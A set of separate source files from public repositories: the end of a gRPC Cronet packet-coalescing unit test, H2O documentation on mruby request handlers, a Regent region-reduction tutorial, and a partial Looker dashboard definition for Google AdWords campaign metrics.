s_addr.sin_addr.s_addr = htonl(INADDR_ANY);
s_addr.sin_port = htons(port);
GPR_ASSERT(0 == bind(sl, (struct sockaddr *)&s_addr, sizeof(s_addr)));
GPR_ASSERT(0 == listen(sl, 5));
dispatch_async(dispatch_get_global_queue(DISPATCH_QUEUE_PRIORITY_DEFAULT, 0), ^{
int s = accept(sl, NULL, NULL);
GPR_ASSERT(s >= 0);
struct timeval tv;
tv.tv_sec = 2;
tv.tv_usec = 0;
setsockopt(s, SOL_SOCKET, SO_RCVTIMEO, &tv, sizeof(tv));
// Make an TLS endpoint to receive Cronet's transmission
SSL_CTX *ctx = SSL_CTX_new(TLSv1_2_server_method());
init_ctx(ctx);
SSL *ssl = SSL_new(ctx);
SSL_set_fd(ssl, s);
SSL_accept(ssl);
const char magic[] = "PRI * HTTP/2.0\r\n\r\nSM\r\n\r\n";
char buf[4096];
long len;
BOOL coalesced = NO;
while ((len = SSL_read(ssl, buf, sizeof(buf))) > 0) {
gpr_log(GPR_DEBUG, "Read len: %ld", len);
// Analyze the HTTP/2 frames in the same TLS PDU to identify if
// coalescing is successful
unsigned int p = 0;
while (p < len) {
if (len - p >= 24 && 0 == memcmp(&buf[p], magic, 24)) {
p += 24;
continue;
}
if (buf[p + 3] == 0 && // Type is DATA
parse_h2_length(&buf[p]) == 0x10 && // Length is correct
(buf[p + 4] & 1) != 0 && // EOS bit is set
0 == memcmp("hello world", &buf[p + 14],
11)) { // Message is correct
coalesced = YES;
break;
}
p += (parse_h2_length(&buf[p]) + 9);
}
if (coalesced) {
break;
}
}
XCTAssert(coalesced == useCoalescing);
SSL_free(ssl);
SSL_CTX_free(ctx);
close(s);
close(sl);
[expectation fulfill];
});
memset(ops, 0, sizeof(ops));
op = ops;
op->op = GRPC_OP_SEND_INITIAL_METADATA;
op->data.send_initial_metadata.count = 2;
op->data.send_initial_metadata.metadata = meta_c;
op->flags = 0;
op->reserved = NULL;
op++;
op->op = GRPC_OP_SEND_MESSAGE;
op->data.send_message.send_message = request_payload;
op->flags = 0;
op->reserved = NULL;
op++;
op->op = GRPC_OP_SEND_CLOSE_FROM_CLIENT;
op->flags = 0;
op->reserved = NULL;
op++;
op->op = GRPC_OP_RECV_INITIAL_METADATA;
op->data.recv_initial_metadata.recv_initial_metadata = &initial_metadata_recv;
op->flags = 0;
op->reserved = NULL;
op++;
op->op = GRPC_OP_RECV_MESSAGE;
op->data.recv_message.recv_message = &response_payload_recv;
op->flags = 0;
op->reserved = NULL;
op++;
op->op = GRPC_OP_RECV_STATUS_ON_CLIENT;
op->data.recv_status_on_client.trailing_metadata = &trailing_metadata_recv;
op->data.recv_status_on_client.status = &status;
op->data.recv_status_on_client.status_details = &details;
op->flags = 0;
op->reserved = NULL;
op++;
error = grpc_call_start_batch(c, ops, (size_t)(op - ops), (void *)1, NULL);
GPR_ASSERT(GRPC_CALL_OK == error);
CQ_EXPECT_COMPLETION(cqv, (void *)1, 1);
cq_verify(cqv);
grpc_slice_unref(details);
grpc_metadata_array_destroy(&initial_metadata_recv);
grpc_metadata_array_destroy(&trailing_metadata_recv);
grpc_metadata_array_destroy(&request_metadata_recv);
grpc_call_details_destroy(&call_details);
grpc_call_unref(c);
cq_verifier_destroy(cqv);
grpc_byte_buffer_destroy(request_payload);
grpc_byte_buffer_destroy(response_payload_recv);
grpc_channel_destroy(client);
grpc_completion_queue_shutdown(cq);
drain_cq(cq);
grpc_completion_queue_destroy(cq);
[self waitForExpectationsWithTimeout:4 handler:nil];
}
- (void)testPacketCoalescing {
[self packetCoalescing:YES];
[self packetCoalescing:NO];
}
@end
| Objective-C++ | 4 | arghyadip01/grpc | src/objective-c/tests/CronetTests/CronetUnitTests.mm | [
"Apache-2.0"
] |
? my $ctx = $main::context;
? $_mt->wrapper_file("wrapper.mt", "Configure", "Using Mruby")->(sub {
<p>
<a href="https://github.com/mruby/mruby">mruby</a> is a lightweight implementation of the Ruby programming language.
With H2O, users can implement their own request handling logic using mruby, either to generate responses or to fix-up the request / response.
</p>
<h3 id="programming-interface">Rack-based Programming Interface</h3>
<p>
The interface between the mruby program and the H2O server is based on <a href="http://www.rubydoc.info/github/rack/rack/master/file/SPEC">Rack interface specification</a>.
Below is a simple configuration that returns <i>hello world</i>.
</p>
<?= $ctx->{example}->('Hello-world in mruby', <<'EOT')
paths:
"/":
mruby.handler: |
Proc.new do |env|
[200, {'content-type' => 'text/plain'}, ["Hello world\n"]]
end
EOT
?>
<p>
It should be noted that as of H2O version 1.7.0, there are limitations when compared to ordinary web application server with support for Rack such as Unicorn:
<ul>
<li>no libraries provided as part of Rack is available (only the interface is compatible)
</ul>
</p>
<p>
In addition to the Rack interface specification, H2O recognizes status code <code>399</code> which can be used to delegate request to the next handler.
The feature can be used to implement access control and response header modifiers.
</p>
<h3 id="access-control">Access Control</h3>
<p>
By using the <code>399</code> status code, it is possible to implement access control using mruby.
The example below restricts access to requests from <code>192.168.</code> private address.
</p>
<?= $ctx->{example}->('Restricting access to 192.168.', <<'EOT')
paths:
"/":
mruby.handler: |
lambda do |env|
if /\A192\.168\./.match(env["REMOTE_ADDR"])
return [399, {}, []]
end
[403, {'content-type' => 'text/plain'}, ["access forbidden\n"]]
end
EOT
?>
<p>
Support for <a href="configure/basic_auth.html">Basic Authentication</a> is also provided by an mruby script.
</p>
<h3 id="delegating-request">Delegating the Request</h3>
<p>
When enabled using the <a href="configure/reproxy_directives.html#reproxy"><code>reproxy</code></a> directive, it is possible to delegate the request from the mruby handler to any other handler.
</p>
<p>
<?= $ctx->{example}->('Rewriting URL with delegation', <<'EOT')
paths:
"/":
mruby.handler: |
lambda do |env|
if /\/user\/([^\/]+)/.match(env["PATH_INFO"])
return [307, {"x-reproxy-url" => "/user.php?user=#{$1}"}, []]
end
return [399, {}, []]
end
EOT
?>
<h3 id="modifying-response">Modifying the Response</h3>
<p>
When the mruby handler returns status code <code>399</code>, H2O delegates the request to the next handler while preserving the headers emitted by the handler.
The feature can be used to add extra headers to the response.
</p>
<p>
For example, the following example sets <code>cache-control</code> header for requests against <code>.css</code> and <code>.js</code> files.
</p>
<?= $ctx->{example}->('Setting cache-control header for certain types of files', <<'EOT')
paths:
"/":
mruby.handler: |
Proc.new do |env|
headers = {}
if /\.(css|js)\z/.match(env["PATH_INFO"])
headers["cache-control"] = "max-age=86400"
end
[399, headers, []]
end
file.dir: /path/to/doc-root
EOT
?>
<p>
Or in the example below, the handler triggers <a href="configure/http2_directives.html#server-push">HTTP/2 server push</a> with the use of <code>Link: rel=preload</code> headers, and then requests a FastCGI application to process the request.
</p>
<?= $ctx->{example}->('Pushing asset files', <<'EOT')
paths:
"/":
mruby.handler: |
Proc.new do |env|
push_paths = []
# push css and js when request is to dir root or HTML
if /(\/|\.html)\z/.match(env["PATH_INFO"])
push_paths << ["/css/style.css", "style"]
push_paths << ["/js/app.js", "script"]
end
[399, push_paths.empty? ? {} : {"link" => push_paths.map{|p| "<#{p[0]}>; rel=preload; as=#{p[1]}"}.join("\n")}, []]
end
fastcgi.connect: ...
EOT
?>
<h3 id="http-client">Using the HTTP Client</h3>
<p>
Starting from version 1.7, a HTTP client API is provided.
HTTP requests issued through the API will be handled asynchronously; the client does not block the event loop of the HTTP server.
</p>
<?= $ctx->{example}->('Mruby handler returning the response of http://example.com', <<'EOT')
paths:
"/":
mruby.handler: |
Proc.new do |env|
req = http_request("http://example.com")
status, headers, body = req.join
[status, headers, body]
end
EOT
?>
<p>
<code>http_request</code> is the method that issues a HTTP request.
</p>
<p>
The method takes two arguments.
First argument is the target URI.
Second argument is an optional hash; <code>method</code> (defaults to <code>GET</code>), <code>header</code>, <code>body</code> attributes are recognized.
</p>
<p>
The method returns a promise object.
When <code>#join</code> method of the promise is invoked, a three-argument array containing the status code, response headers, and the body is returned.
The response body is also a promise.
Applications can choose from three ways when dealing with the body: a) call <code>#each</code> method to receive the contents, b) call <code>#join</code> to retrieve the body as a string, c) return the object as the response body of the mruby handler.
</p>
<p>
The header and the body object passed to <code>http_request</code> should conform to the requirements laid out by the Rack specification for request header and request body.
The response header and the response body object returned by the <code>#join</code> method of the promise returned by <code>http_request</code> conforms to the requirements of the Rack specification.
</p>
<p>
Since the API provides an asynchronous HTTP client, it is possible to effectively issue multiple HTTP requests concurrently and merge them into a single response.
</p>
<p>
When HTTPS is used, servers are verified using the properties of <a href="configure/proxy_directives.html#proxy.ssl.cafile"><code>proxy.ssl.cafile</code></a> and <a href="configure/proxy_directives.html#proxy.ssl.verify-peer"><code>proxy.ssl.verify-peer</code></a> specified at the global level.
</p>
<p>
Timeouts defined for the proxy handler (<a href="configure/proxy_directives.html#proxy.timeout.io"><code>proxy.timeout.*</code></a>) are applied to the requests that are issued by the <code>http_request</code> method.
</p>
<h3 id="logging-arbitrary-variable">Logging Arbitrary Variable</h3>
<p>
In version 2.3, it is possible from mruby to set and log an arbitrary-named variable that is associated to a HTTP request.
A HTTP response header that starts with <code>x-fallthru-set-</code> is handled specially by the H2O server. Instead of sending the header downstream, the server accepts the value as a request environment variable, taking the suffix of the header name as the name of the variable.
</p>
<p>
This example shows how to read request data, parse json and then log data from mruby.
</p>
<?= $ctx->{example}->('Logging the content of a POST request via request environment variable', <<'EOT')
paths:
"/":
mruby.handler: |
Proc.new do |env|
input = env["rack.input"] ? env["rack.input"].read : '{"default": "true"}'
parsed_json = JSON.parse(input)
parsed_json["time"] = Time.now.to_i
logdata = parsed_json.to_s
[204, {"x-fallthru-set-POSTDATA" => logdata}, []]
end
access-log:
path: /path/to/access-log.json
escape: json
format: '{"POST": %{POSTDATA}e}'
EOT
?>
? })
| Mathematica | 4 | pldubouilh/h2o | srcdoc/configure/mruby.mt | [
"MIT"
] |
-- Copyright 2018 Stanford University
--
-- Licensed under the Apache License, Version 2.0 (the "License");
-- you may not use this file except in compliance with the License.
-- You may obtain a copy of the License at
--
-- http://www.apache.org/licenses/LICENSE-2.0
--
-- Unless required by applicable law or agreed to in writing, software
-- distributed under the License is distributed on an "AS IS" BASIS,
-- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-- See the License for the specific language governing permissions and
-- limitations under the License.
import "regent"
local c = regentlib.c
fspace IntField
{
i : int32,
}
task clear(int_region : region(ispace(int1d), IntField))
where
writes(int_region.i)
do
for x in int_region do
x.i = 0
end
end
--
-- The inc task applies a reduction (over +) to the region.
--
task inc(int_region : region(ispace(int1d), IntField))
where
reduces+(int_region.i)
do
for j = 0, 1000 do
for x in int_region do
x.i += 1
end
end
end
task main()
var size = 10000
var int_region = region(ispace(int1d, size), IntField)
clear(int_region)
for i = 0, 5 do
inc(int_region)
end
end
regentlib.start(main)
| Rouge | 4 | elliottslaughter/regent-tutorial | Regions/5.rg | [
"Apache-2.0"
] |
- dashboard: campaign_performance
title: Campaign Performance
layout: newspaper
elements:
- name: Pulse Metrics
type: text
title_text: Pulse Metrics
subtitle_text: Current Snapshot of Performance this Quarter
row: 0
col: 0
width: 24
height: 2
- name: Progress
type: text
title_text: Progress
subtitle_text: Current Performance Trends
body_text: ''
row: 10
col: 0
width: 24
height: 2
- name: Ad Group Details
type: text
title_text: Ad Group Details
subtitle_text: Drill to Explore Campaign Specific Trends
row: 49
col: 0
width: 24
height: 2
- title: Conversion rate qtd (campaign)
name: Conversion rate qtd (campaign)
model: google_adwords
explore: campaign_quarter_stats
type: single_value
fields:
- campaign_quarter_stats._data_quarter
- campaign_quarter_stats.average_conversion_rate
- last_campaign_quarter_stats.average_conversion_rate
fill_fields:
- campaign_quarter_stats._data_quarter
sorts:
- campaign_quarter_stats._data_quarter desc
limit: 500
column_limit: 50
dynamic_fields:
- table_calculation: quarterly_change
label: Quarterly % Change
expression: "(${campaign_quarter_stats.average_conversion_rate} - ${last_campaign_quarter_stats.average_conversion_rate})/${last_campaign_quarter_stats.average_conversion_rate}\n"
value_format:
value_format_name: percent_0
hidden_fields:
- last_campaign_quarter_stats.average_conversion_rate
label: Conversion Rate QTD
query_timezone: America/Los_Angeles
custom_color_enabled: false
custom_color: forestgreen
show_single_value_title: true
show_comparison: true
comparison_type: change
comparison_reverse_colors: false
show_comparison_label: true
stacking: ''
show_value_labels: false
label_density: 25
legend_position: center
x_axis_gridlines: false
y_axis_gridlines: true
show_view_names: false
limit_displayed_rows: false
y_axis_combined: true
show_y_axis_labels: true
show_y_axis_ticks: true
y_axis_tick_density: default
y_axis_tick_density_custom: 5
show_x_axis_label: true
show_x_axis_ticks: true
x_axis_scale: auto
y_axis_scale_mode: linear
ordering: none
show_null_labels: false
show_totals_labels: false
show_silhouette: false
totals_color: "#808080"
series_types: {}
single_value_title: Conversion Rate QTD
comparison_label: ''
listen:
Campaign Name: campaign.campaign_name
row: 6
col: 6
width: 6
height: 4
- title: Conversions qtd (campaign)
name: Conversions qtd (campaign)
model: google_adwords
explore: campaign_quarter_stats
type: single_value
fields:
- campaign_quarter_stats._data_quarter
- campaign_quarter_stats.total_conversions
- last_campaign_quarter_stats.total_conversions
fill_fields:
- campaign_quarter_stats._data_quarter
sorts:
- campaign_quarter_stats._data_quarter desc
limit: 500
column_limit: 50
dynamic_fields:
- table_calculation: quarterly_change
label: Quarterly Change
expression: "${campaign_quarter_stats.total_conversions} - ${last_campaign_quarter_stats.total_conversions}\n"
value_format:
value_format_name: decimal_0
_kind_hint: measure
_type_hint: number
hidden_fields:
- last_campaign_quarter_stats.total_conversions
label: Conversions QTD
query_timezone: America/Los_Angeles
custom_color_enabled: false
custom_color: forestgreen
show_single_value_title: true
show_comparison: true
comparison_type: change
comparison_reverse_colors: false
show_comparison_label: true
stacking: ''
show_value_labels: false
label_density: 25
legend_position: center
x_axis_gridlines: false
y_axis_gridlines: true
show_view_names: false
limit_displayed_rows: false
y_axis_combined: true
show_y_axis_labels: true
show_y_axis_ticks: true
y_axis_tick_density: default
y_axis_tick_density_custom: 5
show_x_axis_label: true
show_x_axis_ticks: true
x_axis_scale: auto
y_axis_scale_mode: linear
ordering: none
show_null_labels: false
show_totals_labels: false
show_silhouette: false
totals_color: "#808080"
series_types: {}
single_value_title: Conversions QTD
comparison_label: ''
listen:
Campaign Name: campaign.campaign_name
row: 2
col: 12
width: 12
height: 4
- title: Ad spend qtd (campaign)
name: Ad spend qtd (campaign)
model: google_adwords
explore: campaign_quarter_stats
type: single_value
fields:
- campaign_quarter_stats.total_cost_usd
- campaign_quarter_stats._data_quarter
- last_campaign_quarter_stats.total_cost_usd
fill_fields:
- campaign_quarter_stats._data_quarter
sorts:
- campaign_quarter_stats._data_quarter desc
limit: 500
column_limit: 50
dynamic_fields:
- table_calculation: quarterly_change
label: Quarterly Change
expression: "${campaign_quarter_stats.total_cost_usd} - ${last_campaign_quarter_stats.total_cost_usd}\n"
value_format:
value_format_name: usd_0
hidden_fields:
- last_campaign_quarter_stats.total_cost_usd
label: Ad Spend QTD
query_timezone: America/Los_Angeles
custom_color_enabled: false
custom_color: forestgreen
show_single_value_title: true
show_comparison: true
comparison_type: change
comparison_reverse_colors: false
show_comparison_label: true
stacking: ''
show_value_labels: false
label_density: 25
legend_position: center
x_axis_gridlines: false
y_axis_gridlines: true
show_view_names: false
limit_displayed_rows: false
y_axis_combined: true
show_y_axis_labels: true
show_y_axis_ticks: true
y_axis_tick_density: default
y_axis_tick_density_custom: 5
show_x_axis_label: true
show_x_axis_ticks: true
x_axis_scale: auto
y_axis_scale_mode: linear
ordering: none
show_null_labels: false
show_totals_labels: false
show_silhouette: false
totals_color: "#808080"
series_types: {}
single_value_title: Spend QTD
comparison_label: ''
listen:
Campaign Name: campaign.campaign_name
row: 2
col: 0
width: 12
height: 4
- title: Cost per conversion qtd (campaign)
name: Cost per conversion qtd (campaign)
model: google_adwords
explore: campaign_quarter_stats
type: single_value
fields:
- campaign_quarter_stats._data_quarter
- campaign_quarter_stats.average_cost_per_conversion
- last_campaign_quarter_stats.average_cost_per_conversion
fill_fields:
- campaign_quarter_stats._data_quarter
sorts:
- campaign_quarter_stats._data_quarter desc
limit: 500
column_limit: 50
dynamic_fields:
- table_calculation: quarterly_change
label: Quarterly % Change
expression: "(${campaign_quarter_stats.average_cost_per_conversion} - ${last_campaign_quarter_stats.average_cost_per_conversion})/${last_campaign_quarter_stats.average_cost_per_conversion}\n"
value_format:
value_format_name: percent_0
hidden_fields:
- last_campaign_quarter_stats.average_cost_per_conversion
label: Cost per Conversion QTD
query_timezone: America/Los_Angeles
custom_color_enabled: false
custom_color: forestgreen
show_single_value_title: true
show_comparison: true
comparison_type: change
comparison_reverse_colors: true
show_comparison_label: true
stacking: ''
show_value_labels: false
label_density: 25
legend_position: center
x_axis_gridlines: false
y_axis_gridlines: true
show_view_names: false
limit_displayed_rows: false
y_axis_combined: true
show_y_axis_labels: true
show_y_axis_ticks: true
y_axis_tick_density: default
y_axis_tick_density_custom: 5
show_x_axis_label: true
show_x_axis_ticks: true
x_axis_scale: auto
y_axis_scale_mode: linear
ordering: none
show_null_labels: false
show_totals_labels: false
show_silhouette: false
totals_color: "#808080"
series_types: {}
single_value_title: Cost per Conversion QTD
comparison_label: ''
listen:
Campaign Name: campaign.campaign_name
row: 6
col: 0
width: 6
height: 4
- title: Cost per interaction qtd (campaign)
name: Cost per interaction qtd (campaign)
model: google_adwords
explore: campaign_quarter_stats
type: single_value
fields:
- campaign_quarter_stats._data_quarter
- campaign_quarter_stats.average_cost_per_interaction
- last_campaign_quarter_stats.average_cost_per_interaction
fill_fields:
- campaign_quarter_stats._data_quarter
sorts:
- campaign_quarter_stats._data_quarter desc
limit: 500
column_limit: 50
dynamic_fields:
- table_calculation: quarterly_change
label: Quarterly % Change
expression: "(${campaign_quarter_stats.average_cost_per_interaction} - ${last_campaign_quarter_stats.average_cost_per_interaction})/${last_campaign_quarter_stats.average_cost_per_interaction}\n"
value_format:
value_format_name: percent_0
hidden_fields:
- last_campaign_quarter_stats.average_cost_per_interaction
label: Cost per Interaction QTD
query_timezone: America/Los_Angeles
custom_color_enabled: false
custom_color: forestgreen
show_single_value_title: true
show_comparison: true
comparison_type: change
comparison_reverse_colors: false
show_comparison_label: true
stacking: ''
show_value_labels: false
label_density: 25
legend_position: center
x_axis_gridlines: false
y_axis_gridlines: true
show_view_names: false
limit_displayed_rows: false
y_axis_combined: true
show_y_axis_labels: true
show_y_axis_ticks: true
y_axis_tick_density: default
y_axis_tick_density_custom: 5
show_x_axis_label: true
show_x_axis_ticks: true
x_axis_scale: auto
y_axis_scale_mode: linear
ordering: none
show_null_labels: false
show_totals_labels: false
show_silhouette: false
totals_color: "#808080"
series_types: {}
single_value_title: Cost per Interaction QTD
comparison_label: ''
listen:
Campaign Name: campaign.campaign_name
row: 6
col: 12
width: 6
height: 4
- title: Interaction rate qtd (campaign)
name: Interaction rate qtd (campaign)
model: google_adwords
explore: campaign_quarter_stats
type: single_value
fields:
- campaign_quarter_stats._data_quarter
- campaign_quarter_stats.average_interaction_rate
- last_campaign_quarter_stats.average_interaction_rate
fill_fields:
- campaign_quarter_stats._data_quarter
sorts:
- campaign_quarter_stats._data_quarter desc
limit: 500
column_limit: 50
dynamic_fields:
- table_calculation: quarterly_change
label: Quarterly % Change
expression: "(${campaign_quarter_stats.average_interaction_rate} - ${last_campaign_quarter_stats.average_interaction_rate}\
\ )/${last_campaign_quarter_stats.average_interaction_rate}\n"
value_format:
value_format_name: percent_0
hidden_fields:
- last_campaign_quarter_stats.average_interaction_rate
label: Interaction Rate QTD
query_timezone: America/Los_Angeles
custom_color_enabled: false
custom_color: forestgreen
show_single_value_title: true
show_comparison: true
comparison_type: change
comparison_reverse_colors: false
show_comparison_label: true
stacking: ''
show_value_labels: false
label_density: 25
legend_position: center
x_axis_gridlines: false
y_axis_gridlines: true
show_view_names: false
limit_displayed_rows: false
y_axis_combined: true
show_y_axis_labels: true
show_y_axis_ticks: true
y_axis_tick_density: default
y_axis_tick_density_custom: 5
show_x_axis_label: true
show_x_axis_ticks: true
x_axis_scale: auto
y_axis_scale_mode: linear
ordering: none
show_null_labels: false
show_totals_labels: false
show_silhouette: false
totals_color: "#808080"
series_types: {}
single_value_title: Interaction Rate QTD
comparison_label: ''
listen:
Campaign Name: campaign.campaign_name
row: 6
col: 18
width: 6
height: 4
- title: Cost by ad network over time
name: Cost by ad network over time
model: google_adwords
explore: master_stats
type: looker_area
fields:
- master_stats.ad_network_type
- master_stats._data_week
- master_stats.total_cost_usd
pivots:
- master_stats.ad_network_type
sorts:
- master_stats.ad_network_type
- master_stats._data_week desc
limit: 500
column_limit: 50
label: Cost by ad network
stacking: normal
show_value_labels: false
label_density: 25
legend_position: center
x_axis_gridlines: false
y_axis_gridlines: true
show_view_names: false
limit_displayed_rows: false
y_axis_combined: true
show_y_axis_labels: true
show_y_axis_ticks: true
y_axis_tick_density: default
y_axis_tick_density_custom: 5
show_x_axis_label: true
show_x_axis_ticks: true
x_axis_scale: auto
y_axis_scale_mode: linear
show_null_points: true
point_style: none
interpolation: linear
show_totals_labels: false
show_silhouette: false
totals_color: "#808080"
query_timezone: America/Los_Angeles
ordering: none
show_null_labels: false
series_types: {}
hidden_series:
- SHASTA_AD_NETWORK_TYPE_1_CONTENT - SHASTA_AD_NETWORK_TYPE_2_CONTENT
colors:
- "#858E93"
- "#416E9A"
- "#BED1E2"
- "#C26B42"
- "#1BD4BC"
series_colors: {}
listen:
Campaign Name: campaign.campaign_name
Date: master_stats._data_date
row: 19
col: 0
width: 12
height: 8
- title: Funnel by ad network
name: Funnel by ad network
model: google_adwords
explore: master_stats
type: looker_column
fields:
- master_stats.ad_network_type
- master_stats.total_impressions
- master_stats.total_interactions
- master_stats.total_conversions
sorts:
- master_stats.total_impressions desc
limit: 500
column_limit: 50
label: Funnel by Ad Network
stacking: ''
show_value_labels: false
label_density: 25
legend_position: center
x_axis_gridlines: false
y_axis_gridlines: true
show_view_names: false
limit_displayed_rows: false
y_axis_combined: true
show_y_axis_labels: true
show_y_axis_ticks: true
y_axis_tick_density: default
y_axis_tick_density_custom: 5
show_x_axis_label: true
show_x_axis_ticks: true
x_axis_scale: auto
y_axis_scale_mode: linear
ordering: none
show_null_labels: false
show_totals_labels: false
show_silhouette: false
totals_color: "#808080"
leftAxisLabelVisible: false
leftAxisLabel: ''
rightAxisLabelVisible: false
rightAxisLabel: ''
barColors:
- red
- blue
smoothedBars: false
orientation: automatic
labelPosition: left
percentType: total
percentPosition: inline
valuePosition: right
labelColorEnabled: false
labelColor: "#FFF"
series_types: {}
show_dropoff: true
y_axes:
- label: ''
maxValue:
minValue:
orientation: left
showLabels: true
showValues: true
tickDensity: default
tickDensityCustom: 5
type: log
unpinAxis: false
valueFormat:
series:
- id: master_stats.total_impressions
name: Campaign Stats Total Impressions
__FILE: google_adwords/campaign_performance.dashboard.lookml
__LINE_NUM: 575
- id: master_stats.total_interactions
name: Campaign Stats Total Interactions
__FILE: google_adwords/campaign_performance.dashboard.lookml
__LINE_NUM: 579
- id: master_stats.total_conversions
name: Campaign Stats Total Conversions
__FILE: google_adwords/campaign_performance.dashboard.lookml
__LINE_NUM: 583
__FILE: google_adwords/campaign_performance.dashboard.lookml
__LINE_NUM: 563
listen:
Campaign Name: campaign.campaign_name
Date: master_stats._data_date
row: 19
col: 12
width: 12
height: 8
- title: Average cost per conversion over time (campaign)
name: Average cost per conversion over time (campaign)
model: google_adwords
explore: master_stats
type: looker_line
fields:
- master_stats.average_cost_per_conversion
- master_stats._data_week
sorts:
- master_stats._data_week desc
limit: 500
column_limit: 50
label: Average Cost per Conversion
stacking: ''
show_value_labels: false
label_density: 25
legend_position: center
x_axis_gridlines: false
y_axis_gridlines: true
show_view_names: false
limit_displayed_rows: false
y_axis_combined: true
show_y_axis_labels: true
show_y_axis_ticks: true
y_axis_tick_density: default
y_axis_tick_density_custom: 5
show_x_axis_label: true
show_x_axis_ticks: true
x_axis_scale: time
y_axis_scale_mode: linear
show_null_points: false
point_style: none
interpolation: linear
ordering: none
show_null_labels: false
show_totals_labels: false
show_silhouette: false
totals_color: "#808080"
leftAxisLabelVisible: false
leftAxisLabel: ''
rightAxisLabelVisible: false
rightAxisLabel: ''
barColors:
- red
- blue
smoothedBars: false
orientation: automatic
labelPosition: left
percentType: total
percentPosition: inline
valuePosition: right
labelColorEnabled: false
labelColor: "#FFF"
series_types: {}
show_dropoff: true
y_axes:
- label: ''
maxValue:
minValue:
orientation: left
showLabels: true
showValues: true
tickDensity: default
tickDensityCustom: 5
type: log
unpinAxis: false
valueFormat:
series:
- id: master_stats.total_impressions
name: Campaign Stats Total Impressions
__FILE: google_adwords/campaign_performance.dashboard.lookml
__LINE_NUM: 350
- id: master_stats.total_interactions
name: Campaign Stats Total Interactions
__FILE: google_adwords/campaign_performance.dashboard.lookml
__LINE_NUM: 354
- id: master_stats.total_conversions
name: Campaign Stats Total Conversions
__FILE: google_adwords/campaign_performance.dashboard.lookml
__LINE_NUM: 358
__FILE: google_adwords/campaign_performance.dashboard.lookml
__LINE_NUM: 338
discontinuous_nulls: false
focus_on_hover: false
reference_lines: []
trend_lines:
- color: "#000000"
label_position: right
period: 7
regression_type: linear
series_index: 1
show_label: false
label_type: string
__FILE: google_adwords/campaign_performance.dashboard.lookml
__LINE_NUM: 368
listen:
Campaign Name: campaign.campaign_name
Date: master_stats._data_date
row: 12
col: 0
width: 24
height: 7
- title: Cost by device over time
name: Cost by device over time
model: google_adwords
explore: master_stats
type: looker_area
fields:
- master_stats.device_type
- master_stats.total_cost_usd
- master_stats._data_week
pivots:
- master_stats.device_type
sorts:
- master_stats.device_type
limit: 500
column_limit: 50
label: Cost by Device
stacking: normal
show_value_labels: false
label_density: 25
legend_position: center
x_axis_gridlines: false
y_axis_gridlines: true
show_view_names: false
limit_displayed_rows: false
y_axis_combined: true
show_y_axis_labels: true
show_y_axis_ticks: true
y_axis_tick_density: default
y_axis_tick_density_custom: 5
show_x_axis_label: true
show_x_axis_ticks: true
x_axis_scale: auto
y_axis_scale_mode: linear
show_null_points: true
point_style: none
interpolation: linear
show_totals_labels: false
show_silhouette: false
totals_color: "#808080"
query_timezone: America/Los_Angeles
ordering: none
show_null_labels: false
series_types: {}
hidden_series:
- SHASTA_AD_NETWORK_TYPE_1_CONTENT - SHASTA_AD_NETWORK_TYPE_2_CONTENT
limit_displayed_rows_values:
show_hide: hide
first_last: first
num_rows: 0
colors:
- "#858E93"
- "#416E9A"
- "#BED1E2"
- "#C26B42"
- "#1BD4BC"
series_colors: {}
listen:
Campaign Name: campaign.campaign_name
Date: master_stats._data_date
row: 27
col: 0
width: 12
height: 7
- title: Funnel by device
name: Funnel by device
model: google_adwords
explore: master_stats
type: looker_column
fields:
- master_stats.total_impressions
- master_stats.total_interactions
- master_stats.total_conversions
- master_stats.device_type
sorts:
- master_stats.total_impressions desc
limit: 500
column_limit: 50
label: Funnel by Device
stacking: ''
show_value_labels: false
label_density: 25
legend_position: center
x_axis_gridlines: false
y_axis_gridlines: true
show_view_names: false
limit_displayed_rows: false
y_axis_combined: true
show_y_axis_labels: true
show_y_axis_ticks: true
y_axis_tick_density: default
y_axis_tick_density_custom: 5
show_x_axis_label: true
show_x_axis_ticks: true
x_axis_scale: auto
y_axis_scale_mode: linear
ordering: none
show_null_labels: false
show_totals_labels: false
show_silhouette: false
totals_color: "#808080"
leftAxisLabelVisible: false
leftAxisLabel: ''
rightAxisLabelVisible: false
rightAxisLabel: ''
barColors:
- red
- blue
smoothedBars: false
orientation: automatic
labelPosition: left
percentType: total
percentPosition: inline
valuePosition: right
labelColorEnabled: false
labelColor: "#FFF"
series_types: {}
show_dropoff: true
y_axes:
- label: ''
maxValue:
minValue:
orientation: left
showLabels: true
showValues: true
tickDensity: default
tickDensityCustom: 5
type: log
unpinAxis: false
valueFormat:
series:
- id: master_stats.total_impressions
name: Campaign Stats Total Impressions
__FILE: google_adwords/campaign_performance.dashboard.lookml
__LINE_NUM: 726
- id: master_stats.total_interactions
name: Campaign Stats Total Interactions
__FILE: google_adwords/campaign_performance.dashboard.lookml
__LINE_NUM: 730
- id: master_stats.total_conversions
name: Campaign Stats Total Conversions
__FILE: google_adwords/campaign_performance.dashboard.lookml
__LINE_NUM: 734
__FILE: google_adwords/campaign_performance.dashboard.lookml
__LINE_NUM: 714
listen:
Campaign Name: campaign.campaign_name
Date: master_stats._data_date
row: 27
col: 12
width: 12
height: 7
- title: Day of Week Average Cost per Conversion
name: Day of Week Average Cost per Conversion
model: google_adwords
explore: master_stats
type: looker_column
fields:
- master_stats._data_day_of_week
- master_stats.average_cost_per_conversion
- master_stats.total_conversions
- master_stats.total_cost_usd
fill_fields:
- master_stats._data_day_of_week
sorts:
- master_stats._data_day_of_week
limit: 500
column_limit: 50
stacking: ''
show_value_labels: false
label_density: 25
legend_position: center
x_axis_gridlines: false
y_axis_gridlines: true
show_view_names: false
limit_displayed_rows: false
y_axis_combined: true
show_y_axis_labels: true
show_y_axis_ticks: true
y_axis_tick_density: default
y_axis_tick_density_custom: 5
show_x_axis_label: true
show_x_axis_ticks: true
x_axis_scale: auto
y_axis_scale_mode: linear
ordering: none
show_null_labels: false
show_totals_labels: false
show_silhouette: false
totals_color: "#808080"
show_null_points: true
point_style: circle_outline
interpolation: linear
y_axes:
- label: ''
maxValue:
minValue:
orientation: left
showLabels: true
showValues: true
tickDensity: default
tickDensityCustom: 5
type: linear
unpinAxis: false
valueFormat:
series:
- id: master_stats.total_conversions
name: Campaign Stats Total Conversions
__FILE: google_adwords/campaign_performance.dashboard.lookml
__LINE_NUM: 801
__FILE: google_adwords/campaign_performance.dashboard.lookml
__LINE_NUM: 789
- label:
maxValue:
minValue:
orientation: left
showLabels: true
showValues: true
tickDensity: default
tickDensityCustom: 5
type: linear
unpinAxis: false
valueFormat:
series:
- id: master_stats.total_cost_usd
